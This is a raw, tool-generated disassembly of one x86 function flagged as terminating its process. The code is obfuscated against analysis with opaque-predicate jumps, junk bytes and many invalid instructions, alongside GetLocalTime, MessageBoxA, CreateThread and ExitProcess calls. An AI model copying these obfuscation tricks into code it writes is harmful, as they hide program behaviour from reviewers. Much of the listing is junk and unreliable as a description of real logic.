Function at 0x4d7042
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb0
push ebx
push esi
push edi
push esi
push edi
push edx
push ecx
push ebx
push eax
cmp dword [0x4e8a64], 0
jne 0x4d7cfb
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.kernel32.dll_GetLocalTime]
jmp 0x4d6cb7
mov eax, dword [ebp - 0x80]
push eax
mov eax, dword [ebp - 0x84]
push eax
mov eax, dword [ebp - 0x88]
push eax
mov eax, dword [ebp - 0x8c]
push eax
call fcn.004d6025
add esp, 0x10
mov dword [ebp - 0x3c], eax
jo 0x4d6ce0
jno 0x4d6ce0
and dword [esi - 0x39], 0xaa445
mov word [ebp - 0x5c], 0xa
mov eax, dword [0x4e82ce]
mov word [0x4e8004], ax
jb 0x4d6cf6
jae 0x4d6cf6
sub bl, 0x59
jmp 0x4d6d51
push ecx
xor ecx, ecx
jecxz 0x4d6cfe
je 0x4d6d58
pop ecx
jmp 0x4d7cfb
jl 0x4d6d09
jge 0x4d6d09
add eax, edx
shr cl, 1
mov cl, 1
add byte [eax], al
jmp 0x4d6ebf
jle 0x4d6d13
jg 0x4d6d13
loopne 0x4d6cfd
jmp 0x4d70e1
leave
add eax, dword [eax]
add byte [edx + 3], dh
jb 0x4d6d1d
jae 0x4d6d1d
add dword [eax - 0x17], esi
jo 0x4d6d07
jmp 0x4d6ebf
popfd
add dword [eax], eax
add byte [ebp + 3], dh
jne 0x4d6d27
je 0x4d6d27
sub cl, 0x5d
add dword [eax], eax
add byte [esi + 3], dh
jmp 0x4d6e89
jbe 0x4d6d31
ja 0x4d6d31
jb 0x4d6d1b
jmp 0x4d7cfb
lds ecx, [edi]
add byte [eax], al
jns 0x4d6d3b
js 0x4d6d3b
mov al, 0xeb
invalid
jmp 0x4d6d04
jbe 0x4d6d42
ja 0x4d6d42
imul ecx
js 0x4d6d46
jmp 0x4d6ebf
add byte [eax], al
add byte [edx + 3], bh
jp 0x4d6d4c
jnp 0x4d6d4c
jae 0x4d6d36
jmp 0x4d7cfb
stosb byte es:[edi], al
sldt word [eax]
nop
jmp 0x4d6d55
mov word [ebp - 0x4c], 0
jmp 0x4d6d61
mov ah, 0
add bl, ch
add al, 0x66
inc dword [ebp - 0x4c]
inc word [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
cmp eax, 6
jge 0x4d6e89
jo 0x4d6d77
jno 0x4d6d77
ljmp 0xffff:0x25b4458b
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
mov dword [ebp - 0x90], eax
jmp 0x4d6e56
jbe 0x4d6d8f
ja 0x4d6d8f
mov bl, 0x66
inc dword [ebp - 0x68]
inc word [ebp - 0x68]
jns 0x4d6d98
js 0x4d6d98
mov ch, cl
out 0, eax
add byte [eax], al
jmp case.default.0x4d6e65
jp 0x4d6da2
jnp 0x4d6da2
test dword [esi - 0x39], esp
inc ebp
stosb byte es:[edi], al
add byte [eax], al
mov word [ebp - 0x56], 0
jl 0x4d6dad
jge 0x4d6dad
xchg cl, ch
rol byte [eax], cl
add byte [eax], al
jmp case.default.0x4d6e65
jmp 0x4d6db5
mov word [ebp - 0x5e], 0xffff
jo 0x4d6dc0
jno 0x4d6dc0
mov cl, ch
mov edi, 0x72000000
jb 0x4d6dca
jae 0x4d6dca
jmp case.default.0x4d6e65
jb 0x4d6dca
jae 0x4d6dca
and dword [esi - 0x39], 0x45
rol byte [eax], 0
mov word [ebp - 0x40], 0
jmp 0x4d6dd6
inc word [ebp - 0x40]
mov eax, dword [ebp - 0x40]
and eax, 0xffff
cmp eax, 3
jge 0x4d6e27
jne 0x4d6de8
je 0x4d6de8
and dword [esi - 0x39], 0x45
mov eax, 0x4eb0000
mov word [ebp - 0x48], 0
jmp 0x4d6df4
inc word [ebp - 0x48]
mov eax, dword [ebp - 0x48]
and eax, 0xffff
cmp eax, 3
jge 0x4d6e25
jbe 0x4d6e06
ja 0x4d6e06
test byte [ebx - 0xda3fbb], cl
inc dword [eax]
add byte [ebx - 0x1e7e47b3], cl
invalid
mov eax, dword [ebp - 0x40]
and eax, 0xffff
mov ecx, dword [ebp - 0x48]
and ecx, 0xffff
add ecx, ecx
lea eax, [ecx + eax*8]
mov word [eax + ebp - 0x74], 0
jmp 0x4d6df0
jmp 0x4d6dd2
jns 0x4d6e2c
js 0x4d6e2c
test ebx, ebp
push esi
jmp case.default.0x4d6e65
jb 0x4d6e33
jae 0x4d6e33
mov dl, 0x66
mov dword [ebp - 0x58], 0x3750000
mov word [ebp - 0x58], 0
jne 0x4d6e3e
je 0x4d6e3e
mov ebx, ebp
inc esp
jmp case.default.0x4d6e65
jle 0x4d6e45
jg 0x4d6e45
mov al, 0x66
mov dword [ebp - 0x6e], 0x31510000
leave
mov word [ebp - 0x6e], 0
push ecx
xor ecx, ecx
jecxz 0x4d6e51
xchg dword [ecx - 0x15], ebx
xor bl, ch
cmp dword cs:[ebp - 0x90], 5
pop ecx
jmp case.default.0x4d6e65
cmp dword [ebp - 0x90], 5
ja case.default.0x4d6e65
mov eax, dword [ebp - 0x90]
jmp dword [eax*4 + 0x4d6e6c]
jmp 0x4d6d5d
jp 0x4d6e8e
jnp 0x4d6e8e
add ebx, ebp
das
jmp 0x4d6ebf
jl 0x4d6e95
jge 0x4d6e95
adc ecx, ebp
daa
push es
add byte [eax], al
jmp 0x4d74c1
jle 0x4d6e9f
jg 0x4d6e9f
jne 0x4d6e89
jmp 0x4d7cfb
push edi
push cs
add byte [eax], al
push ecx
xor ecx, ecx
jecxz 0x4d6eaa
jno 0x4d6f04
pop ecx
jmp 0x4d6ebf
jmp 0x4d6eb0
jmp 0x4d78be
jo 0x4d6eba
jno 0x4d6eba
ja 0x4d6ea4
jmp 0x4d7cfb
cmp al, 0xe
add byte [eax], al
jb 0x4d6ec4
jae 0x4d6ec4
ret 0xc766
mov word [ebp - 0x4c], 0
jmp 0x4d6ed0
inc word [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
cmp eax, 3
jge 0x4d6fc6
jne 0x4d6ee6
je 0x4d6ee6
les ecx, [ebx - 0xda4bbb]
inc dword [eax]
add byte [ebx - 0x1e7e4bb3], cl
invalid
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
add eax, 7
mov dword [ebp - 0x94], eax
jmp 0x4d6f9c
scasd eax, dword es:[edi]
ror dword [ebx - 0x1e7e4bb3], 0xff
inc dword [eax]
add byte [edi], cl
scasd eax, dword es:[edi]
rol dword [ebx - 0x7a76f840], 0x6c
invalid
jo 0x4d6f22
jno 0x4d6f22
mov ebp, ecx
lea eax, [ebx]
add byte [eax], al
jmp 0x4d72b4
jp 0x4d6f2c
jnp 0x4d6f2c
loopne 0x4d6f60
xor eax, eax
mov ax, word [ebp - 0x56]
shl byte [esi - 0x75], 0x45
stosb byte es:[edi], al
mov ecx, 5
cdq
idiv ecx
lea eax, [edx - 2]
cmp eax, 1
sbb ecx, ecx
inc ecx
xor eax, eax
mov ax, word [ebp - 0x56]
mov ebx, 3
cdq
idiv ebx
lea eax, [edx - 1]
cmp eax, 1
sbb eax, eax
inc eax
or ecx, eax
je 0x4d6f7f
jl 0x4d6f63
jge 0x4d6f63
jmp 0x4d6fca
mov ax, word [ebp - 0x58]
mov word [ebp - 0x5e], ax
jle 0x4d6f70
jg 0x4d6f70
fisub word [esi - 0x39]
inc ebp
cmpsb byte [esi], byte es:[edi]
add dword [eax], eax
mov word [ebp - 0x5a], 1
push ecx
xor ecx, ecx
jecxz 0x4d6f7c
lds ebx, [ecx - 0x15]
push es
pop ecx
jmp 0x4d6f85
mov word [ebp - 0x5a], 0
jmp 0x4d6f88
jmp 0x4d6fc1
jbe 0x4d6f8f
ja 0x4d6f8f
mov ebx, 0xaa45ff66
inc word [ebp - 0x56]
jns 0x4d6f98
js 0x4d6f98
fucomi st(3)
daa
jmp 0x4d6fc1
jmp 0x4d6fc1
cmp dword [ebp - 0x94], 7
je 0x4d6f8a
cmp dword [ebp - 0x94], 8
je 0x4d6f27
cmp dword [ebp - 0x94], 0x17
je 0x4d6f1d
jmp 0x4d6fc1
jmp 0x4d6ecc
jns 0x4d6fcb
js 0x4d6fcb
invalid
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ecx, 7
cdq
idiv ecx
lea eax, [edx - 2]
cmp eax, 1
sbb ecx, ecx
neg ecx
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ebx, 0xb
cdq
idiv ebx
lea eax, [edx - 5]
cmp eax, 1
sbb eax, eax
neg eax
or ecx, eax
je 0x4d7025
jp 0x4d7008
jnp 0x4d7008
or al, 0x66
mov eax, dword [ebp - 0x58]
mov ax, word [ebp - 0x58]
mov word [ebp - 0x5e], ax
jl 0x4d7015
jge 0x4d7015
mov edx, 0xa645c766
add dword [eax], eax
mov word [ebp - 0x5a], 1
jle 0x4d7020
jg 0x4d7020
invalid
jmp 0x4d72b4
push ecx
xor ecx, ecx
jecxz 0x4d702b
int 0x59
pop ecx
xor eax, eax
mov ax, word [ebp - 0x6e]
xchg edx, eax
mov dword [ebp - 0x98], eax
jmp 0x4d70a0
jmp 0x4d703d
jmp 0x4d78d8
jo 0x4d7047
jno 0x4d7047
js 0x4d7031
jmp 0x4d7981
xor eax, 0x72000009
add esi, dword [ebx + 1]
jb 0x4d7051
jae 0x4d7051
add dword [edx + 0x944e9], esp
mov byte [0x944e9], al
jmp 0x4d799a
add byte [ebp + 3], dh
jne 0x4d705b
je 0x4d705b
invalid
jmp 0x4d79e8
jbe 0x4d7065
ja 0x4d7065
loopne 0x4d704f
jmp 0x4d79ee
test byte [ecx], cl
add byte [eax], al
jns 0x4d706f
js 0x4d706f
ret 0x1de9
jmp 0x4d7a91
jp 0x4d7079
jnp 0x4d7079
mov dword [0xa90e9], eax
add byte [ebx + eax + 0x7d], bh
jl 0x4d7083
jge 0x4d7083
invalid
jmp 0x4d7b0e
jl 0x4d7083
jge 0x4d7083
add ebp, ecx
and dword [ebx], ecx
add byte [eax], al
jmp 0x4d7ba9
jle 0x4d708d
jg 0x4d708d
and eax, 0xc01e9
add byte [ecx + 0x31], dl
push ecx
xor ecx, ecx
jmp 0x4d7c93
push ecx
xor ecx, ecx
jecxz 0x4d7098
jge 0x4d70f2
pop ecx
jmp 0x4d7ccf
cmp dword [ebp - 0x98], 9
ja case.default.0x4d70af
mov eax, dword [ebp - 0x98]
jmp dword [eax*4 + 0x4d70b6]
jmp 0x4d70e1
jo 0x4d70e6
jno 0x4d70e6
add dword [ecx - 0x22b17], esp
mov eax, dword [0xfffdd4e9]
jmp 0x4d6ebf
push dword [edx + 3]
jb 0x4d70f0
jae 0x4d70f0
mov cl, 0xe9
dec eax
jmp 0x4d6d3d
cld
invalid
jne 0x4d70fa
je 0x4d70fa
js 0x4d70e4
jmp 0x4d7cfb
cld
or eax, dword [eax]
add byte [esi + 3], dh
jbe 0x4d7104
ja 0x4d7104
shl byte [esi - 0x39], 1
inc ebp
mov ah, 0
add bl, ch
add al, 0x66
inc dword [ebp - 0x4c]
mov word [ebp - 0x4c], 0
jmp 0x4d7110
inc word [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
cmp eax, 4
jge 0x4d7299
jns 0x4d7126
js 0x4d7126
ror dword [ebx - 0xda4bbb], 1
inc dword [eax]
add byte [ebx - 0x1e7e4bb3], cl
invalid
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
lea ecx, [ecx + ecx*2]
add eax, ecx
inc eax
mov dword [ebp - 0x9c], eax
jmp 0x4d7249
jle 0x4d7159
jg 0x4d7159
jge case.0x4d71f0.3
xor eax, eax
mov ax, word [ebp - 0x6e]
shl byte [esi - 0x75], 0x45
xchg edx, eax
mov ecx, dword [ebp - 0x5c]
and ecx, 0xffff
cmp eax, ecx
jne case.default.0x4d71f0
push ecx
xor ecx, ecx
jecxz 0x4d7176
sub al, 0x59
pop ecx
xor eax, eax
mov ax, word [ebp - 0x56]
mov ecx, 9
cdq
idiv ecx
mov dword [ebp - 0xa0], edx
jmp 0x4d71e1
jmp 0x4d7190
jmp 0x4d70f5
jo 0x4d719a
jno 0x4d719a
mov cl, 0xe9
push ss
std
invalid
jmp 0x4d6eb5
jmp 0x4d71a2
jmp 0x4d78d0
jb 0x4d71ac
jae 0x4d71ac
mov bl, 0xe9
jmp 0x764d71ae
invalid
jmp 0x4d6e9a
jne 0x4d71b6
je 0x4d71b6
mov ah, 0xe9
cmp eax, 0xebfffffb
jmp 0x4d71be
mov ch, 0xe9
test bl, bh
invalid
push dword [esi + 3]
jbe 0x4d71c8
jmp 0x4d6cf8
jmp 0x4d71be
jmp 0x4d6d47
jbe 0x4d71c8
ja 0x4d71c8
mov dh, 0xe9
pop edi
sti
invalid
jmp 0x4d6d2c
jmp 0x4d71d0
jmp 0x4d72a8
jns 0x4d71da
js 0x4d71da
mov eax, 0x2f4e9
add bl, ch
cmp al, byte [ebx - 0x9f43]
dec dword [eax]
jmp 0x4d74d3
cmp dword [ebp - 0xa0], 8
ja case.default.0x4d71f0
mov eax, dword [ebp - 0xa0]
jmp dword [eax*4 + 0x4d71f7]
add bl, ch
add ecx, esp
jmp 0x4d721e
jmp case.0x4d7266.4
jp 0x4d7225
jnp 0x4d7225
jge 0x4d728c
inc word [ebp - 0x6e]
inc dword [ebp - 0x6e]
jl 0x4d722e
jge 0x4d722e
jge 0x4d721a
jmp case.0x4d7266.4
jmp 0x4d7233
jmp 0x4d7233
add dword [esi + 0x37a7feb], ecx
jmp 0x4d72b4
jp 0x4d723a
jnp 0x4d723a
and ah, byte [esi - 0x39]
inc ebp
cmpsb byte [esi], byte es:[edi]
add dword [eax], eax
mov word [ebp - 0x5a], 1
jl 0x4d7245
jge 0x4d7245
loop 0x4d7231
jmp case.0x4d7266.4
dec ebp
jmp case.0x4d7266.4
dec dword [ebp - 0x9c]
cmp dword [ebp - 0x9c], 0x12
ja case.0x4d7266.4
mov eax, dword [ebp - 0x9c]
xor ecx, ecx
mov cl, byte [eax + 0x4d7281]
jmp dword [ecx*4 + 0x4d726d]
add al, 4
add al, 4
add al, 4
add al, 3
jmp 0x4d710c
jle 0x4d729e
jg 0x4d729e
and cl, ch
sbb al, 0xfc
invalid
jmp 0x4d6ebf
jmp 0x4d72a6
jmp 0x4d7299
push ecx
xor ecx, ecx
jecxz 0x4d72ae
jno 0x4d7308
pop ecx
jmp 0x4d7cfb
jmp 0x4d72b7
mov word [ebp - 0x4c], 0
jmp 0x4d72c3
inc word [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
cmp eax, 8
jge 0x4d74c1
jo 0x4d72d9
jno 0x4d72d9
ror dword [ebx - 0xda4bbb], 1
inc dword [eax]
add byte [ebx - 0x1e7e4bb3], cl
invalid
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
add eax, ecx
inc eax
mov dword [ebp - 0xa4], eax
jmp 0x4d743b
jmp 0x4d7307
xor eax, eax
mov ax, word [ebp - 0x5a]
shl byte [esi - 0x75], 0x45
cmpsb byte [esi], byte es:[edi]
cdq
xor eax, edx
sub eax, edx
and eax, 1
xor eax, edx
sub eax, edx
mov dword [ebp - 0xa8], eax
jmp 0x4d7335
jb 0x4d7326
jae 0x4d7326
jecxz 0x4d7310
jmp 0x4d6fc6
wait
cld
invalid
jmp 0x4d732e
jmp 0x4d74db
cmp dword [ebp - 0xa8], 0
je 0x4d7321
cmp dword [ebp - 0xa8], 1
je 0x4d732b
jmp 0x4d7349
jne 0x4d734e
je 0x4d734e
fldl2t
imul eax, dword [ecx], 0x3750000
jne 0x4d7358
jmp case.0x4d7458.8
jne 0x4d7358
je 0x4d7358
mov edi, 0x5ae045c7
add dword [eax], eax
add bl, ch
add ebp, edx
mov dword [ebp - 0x20], 0x15a
jmp 0x4d7362
mov dword [ebp - 0x28], 0x4e35
jbe 0x4d736e
ja 0x4d736e
sbb ebp, ecx
dec ecx
add dword [eax], eax
add bl, ch
jmp 0x4d7376
mov ebp, 0xec7d83
jmp case.0x4d7458.8
jmp 0x4d7376
cmp dword [ebp - 0x14], 0
je 0x4d738b
mov eax, dword [ebp - 0x14]
imul eax, dword [ebp - 0x28]
and eax, 0xffff
add dword [ebp - 0x24], eax
jp 0x4d7390
jnp 0x4d7390
imul ecx
daa
add dword [eax], eax
add bl, ch
jmp 0x4d7398
mov esi, 0xfe0458b
scasd eax, dword es:[edi]
inc ebp
in al, 0x25
invalid
jmp case.0x4d7458.8
jmp 0x4d7398
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x1c]
and eax, 0xffff
mov dword [ebp - 0x24], eax
jns 0x4d73ac
js 0x4d73ac
sub ebp, ecx
or eax, dword [ecx]
add byte [eax], al
jmp case.0x4d7458.8
jmp 0x4d73b4
mov eax, dword [ebp - 0x24]
shl eax, 0x10
and eax, 0xffff0000
mov ecx, dword [ebp - 0x1c]
imul ecx, dword [ebp - 0x28]
add eax, ecx
inc eax
mov dword [ebp - 0x30], eax
jl 0x4d73d1
jge 0x4d73d1
cmp ebp, ecx
out 0, al
add byte [eax], al
jmp case.0x4d7458.8
jmp 0x4d73d9
mov eax, dword [ebp - 0x3c]
shr eax, 0x10
mov dword [ebp - 0x14], eax
jb 0x4d73e7
jae 0x4d73e7
aam 0x8b
inc ebp
les esp, [0xffff]
mov eax, dword [ebp - 0x3c]
and eax, 0xffff
mov dword [ebp - 0x1c], eax
jmp 0x4d73f5
jmp case.0x4d7458.8
push ecx
xor ecx, ecx
jecxz 0x4d7400
mov ebx, 0xd0658159
invalid
pop ecx
and dword [ebp - 0x30], 0x7fff
jmp 0x4d740b
mov eax, dword [ebp - 0x30]
mov word [ebp - 0x38], ax
jo 0x4d7417
jno 0x4d7417
mov ebp, ecx
mov al, byte [0xeb000000]
jmp 0x4d741f
mov ebp, 0x89d0458b
inc ebp
les edi, [esi + 3]
jmp case.0x4d7458.8
jmp 0x4d741f
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x3c], eax
jle 0x4d742a
jg 0x4d742a
mov esp, 0x10d06dc1
shr dword [ebp - 0x30], 0x10
jmp 0x4d7431
jmp case.0x4d7458.8
dec dword [ebp - 0xa4]
cmp dword [ebp - 0xa4], 0x38
ja case.0x4d7458.8
mov eax, dword [ebp - 0xa4]
xor ecx, ecx
mov cl, byte [eax + 0x4d7483]
jmp dword [ecx*4 + 0x4d745f]
jmp 0x4d72bf
jmp 0x4d74c4
jmp 0x4d6ebf
jbe 0x4d74ce
ja 0x4d74ce
adc cl, ch
sar ecx, 1
invalid
jmp 0x4d6ea4
jmp 0x4d74d6
jmp 0x4d7cfb
jns 0x4d74e0
js 0x4d74e0
fisub dword [esi - 0x39]
inc ebp
mov ah, 0
add bl, ch
add al, 0x66
inc dword [ebp - 0x4c]
mov word [ebp - 0x4c], 0
jmp 0x4d74ec
inc word [ebp - 0x4c]
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
cmp eax, 7
jge 0x4d78b9
jmp 0x4d7500
mov eax, dword [ebp - 0x4c]
and eax, 0xffff
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
mov ecx, dword [ebp - 0x4c]
and ecx, 0xffff
imul eax, ecx
inc eax
mov dword [ebp - 0xac], eax
jmp 0x4d7790
jbe 0x4d7531
ja 0x4d7531
fmul qword [ebx - 0xda53bb]
inc dword [eax]
add byte [ebp + 0x4d8b4004], cl
mov byte [ecx + 0xffffe1], al
add byte [ebx], al
shl dword [esi - 0x77], 0x45
enter 0x1eb, 0x1d
mov eax, dword [ebp - 0x54]
and eax, 0xffff
lea eax, [eax + eax*2]
mov ecx, dword [ebp - 0x78]
and ecx, 0xffff
add eax, ecx
mov word [ebp - 0x38], ax
jmp 0x4d754e
mov ax, word [ebp - 0x38]
mov word [ebp - 0x58], ax
jns 0x4d755b
js 0x4d755b
sub eax, 0x354e9
add bl, ch
jmp 0x4d7563
invalid
jmp case.0x4d77b4.7
jmp 0x4d7563
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ecx, 3
cdq
idiv ecx
mov word [ebp - 0x78], dx
jle 0x4d757c
jg 0x4d757c
mov ecx, gs
xor eax, dword [ebx]
add byte [eax], al
jmp case.0x4d77b4.7
jmp 0x4d7584
mov eax, dword [ebp - 0x54]
and eax, 0xffff
mov ecx, dword [ebp - 0x78]
and ecx, 0xffff
add ecx, ecx
lea eax, [ecx + eax*8]
inc word [eax + ebp - 0x74]
jne 0x4d75a4
je 0x4d75a4
or eax, 0xa8458b66
mov ax, word [ebp - 0x58]
mov word [ebp - 0x5e], ax
jmp 0x4d75af
jmp case.0x4d77b4.7
jo 0x4d75b9
jno 0x4d75b9
mov esp, dword [esi - 0x39]
inc ebp
mov eax, 0x4eb0000
mov word [ebp - 0x48], 0
jmp 0x4d75c5
inc word [ebp - 0x48]
mov eax, dword [ebp - 0x48]
and eax, 0xffff
cmp eax, 3
jge 0x4d7623
jmp 0x4d75d5
mov eax, dword [ebp - 0x54]
and eax, 0xffff
mov ecx, dword [ebp - 0x78]
and ecx, 0xffff
add ecx, ecx
lea eax, [ecx + eax*8]
mov eax, dword [eax + ebp - 0x74]
and eax, 0xffff
mov ecx, dword [ebp - 0x54]
and ecx, 0xffff
mov edx, dword [ebp - 0x48]
and edx, 0xffff
add edx, edx
lea ecx, [edx + ecx*8]
mov ecx, dword [ecx + ebp - 0x74]
and ecx, 0xffff
cmp eax, ecx
jle 0x4d7621
mov ax, word [ebp - 0x48]
mov word [ebp - 0x78], ax
jmp 0x4d75c1
jb 0x4d7628
jae 0x4d7628
call 0x4ffe15
add byte [edx + 3], bh
jp 0x4d7632
jmp case.0x4d77b4.7
jp 0x4d7632
jnp 0x4d7632
in al, 0x8b
inc ebp
enter 0xffffffffffffff25, 0xffffffffffffffff
add byte [eax], al
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ecx, 9
cdq
idiv ecx
mov word [ebp - 0x38], dx
jmp 0x4d7649
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ecx, 3
cdq
idiv ecx
mov word [ebp - 0x54], ax
jl 0x4d7662
jge 0x4d7662
lcall 0xeb00, 0x24de9
add ecx, ebp
jmp case.0x4d77b4.7
jmp 0x4d766a
mov eax, dword [ebp - 0x38]
and eax, 0xffff
mov ecx, 9
cdq
idiv ecx
mov dword [ebp - 0xb0], edx
jmp 0x4d76d8
jp 0x4d7687
jnp 0x4d7687
invalid
jmp 0x4d70eb
jmp 0x4d768f
jmp 0x4d6ead
jl 0x4d7699
jge 0x4d7699
ljmp 0xeb00:0x228e9
jmp 0x4d78c6
jmp 0x4d76a1
jmp 0x4d6e90
jle 0x4d76ab
jg 0x4d76ab
out 0xe9, al
pop esi
idiv bh
call dword [ecx + 0x31]
push ecx
xor ecx, ecx
jmp 0x4d6d0e
push ecx
xor ecx, ecx
jecxz 0x4d76b6
in al, 0x59
pop ecx
jmp 0x4d6d36
jmp 0x4d76bf
jmp 0x4d6d22
jo 0x4d76c9
jno 0x4d76c9
loopne 0x4d76b3
jmp 0x4d72a3
aad 0xfb
invalid
jmp 0x4d76d1
jmp 0x4d74c9
cmp dword [ebp - 0xb0], 8
ja case.default.0x4d76e7
mov eax, dword [ebp - 0xb0]
jmp dword [eax*4 + 0x4d76ee]
jmp 0x4d7715
mov word [ebp - 0x40], 0
jmp 0x4d7721
inc word [ebp - 0x40]
mov eax, dword [ebp - 0x40]
and eax, 0xffff
cmp eax, 3
jge 0x4d7783
push ecx
xor ecx, ecx
jecxz 0x4d7734
mov esp, 0xc0458b59
pop ecx
mov eax, dword [ebp - 0x40]
and eax, 0xffff
mov ecx, dword [ebp - 0x78]
and ecx, 0xffff
add ecx, ecx
lea eax, [ecx + eax*8]
mov eax, dword [eax + ebp - 0x74]
and eax, 0xffff
mov ecx, dword [ebp - 0x54]
and ecx, 0xffff
mov edx, dword [ebp - 0x78]
and edx, 0xffff
add edx, edx
lea ecx, [edx + ecx*8]
mov ecx, dword [ecx + ebp - 0x74]
and ecx, 0xffff
cmp eax, ecx
jge 0x4d7781
mov ax, word [ebp - 0x40]
mov word [ebp - 0x54], ax
jmp 0x4d771d
jmp 0x4d7786
jmp case.0x4d77b4.7
dec dword [ebp - 0xac]
cmp dword [ebp - 0xac], 0xd8
ja case.0x4d77b4.7
mov eax, dword [ebp - 0xac]
xor ecx, ecx
mov cl, byte [eax + 0x4d77db]
jmp dword [ecx*4 + 0x4d77bb]
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
pop es
push es
jmp 0x4d74e8
jb 0x4d78be
jae 0x4d78be
test eax, 0xe92101eb
stc
cmc
invalid
jmp 0x4d78c1
jmp 0x4d6ebf
jne 0x4d78cb
je 0x4d78cb
xor ecx, ebp
dec eax
hlt
jmp 0x4d6d18
jmp 0x4d78d3
jmp 0x4d7cfb
nop
jne 0x4d78de
je 0x4d78de
mov al, 0xe8
xchg ecx, eax
and eax, 0x3d830000
jl 0x4d7867
call fcn.004d9e74
cmp dword [0x4e807c], 0
dec esi
add byte [eax], al
jne 0x4d794e
call fcn.004d7e5b
test eax, eax
je 0x4d7949
mov eax, dword [0x4e8f30]
dec eax
mov ecx, eax
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [ecx + eax*2]
lea eax, [eax*2 + 0x4e8010]
add eax, 0x614
mov dword [ebp - 0x2c], eax
cmp dword [0x4e85e2], 0
je 0x4d7937
push 0x40
mov eax, 0x4e8010
add eax, 0x5d6
push eax
mov eax, dword [ebp - 0x2c]
push eax
push 0
call dword [sym.imp.user32.dll_MessageBoxA]
mov dword [0x4e8a64], 1
push 0xffffffffffffffff
call dword [sym.imp.kernel32.dll_ExitProcess]
call fcn.004d8aef
mov word [ebp - 0x48], 0
jmp 0x4d795a
inc word [ebp - 0x48]
mov eax, dword [ebp - 0x48]
and eax, 0xffff
cmp eax, 0x1e
jge 0x4d797c
mov eax, dword [ebp - 0x48]
and eax, 0xffff
mov dword [eax*4 + 0x4e80a4], 0xffffffff
jmp 0x4d7956
jmp 0x4d70ff
nop
jbe 0x4d7987
ja 0x4d7987
mov dl, 0xe8
fst qword [ecx]
add byte [eax], al
call 0x4d8b69
test eax, eax
jne 0x4d7995
jmp 0x4d7d08
jmp 0x4d70ff
nop
jns 0x4d79a0
js 0x4d79a0
mov ah, 0x83
cmp eax, 0x4e8a20
add byte [edx + edi - 0x39], dh
inc ebp
clc
or eax, dword [eax]
add byte [eax], al
cmp dword [0x4e8a20], 0
je 0x4d79e3
mov dword [ebp - 8], 0xb
jmp 0x4d79b3
lea eax, [ebp - 0x34]
push eax
push 0
lea eax, [ebp - 8]
push eax
push 0x4d6b69
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0xffffffff
jne 0x4d79e3
jmp 0x4d79d8
push 0x9999
call dword [sym.imp.kernel32.dll_ExitProcess]
jmp 0x4d70ff
nop
jmp 0x4d70ff
nop
jl 0x4d79f4
jge 0x4d79f4
mov eax, 0x4e8a2ca1
add byte [eax - 0x18], dl
jmp esp
mov eax, dword [0x4e8a2c]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a2c], eax
mov eax, dword [0x4e8a30]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a30], eax
mov eax, dword [0x4e8a34]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a34], eax
mov eax, dword [0x4e8a38]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a38], eax
mov eax, dword [0x4e8a3c]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a3c], eax
mov eax, dword [0x4e8a40]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a40], eax
mov eax, dword [0x4e8a44]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a44], eax
mov eax, dword [0x4e8a48]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a48], eax
jmp 0x4d70ff
nop
jle 0x4d7a97
jg 0x4d7a97
mov edx, 0x4e8a4ca1
add byte [eax - 0x18], dl
pop esp
in al, 0xff
inc dword [ebx + 0x4ca304c4]
mov cl, byte [esi]
mov eax, dword [0x4e8a4c]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a4c], eax
mov eax, dword [0x4e8a50]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a50], eax
mov eax, dword [0x4e8a54]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a54], eax
mov eax, dword [0x4e8a58]
push eax
call fcn.004d5efe
add esp, 4
mov dword [0x4e8a58], eax
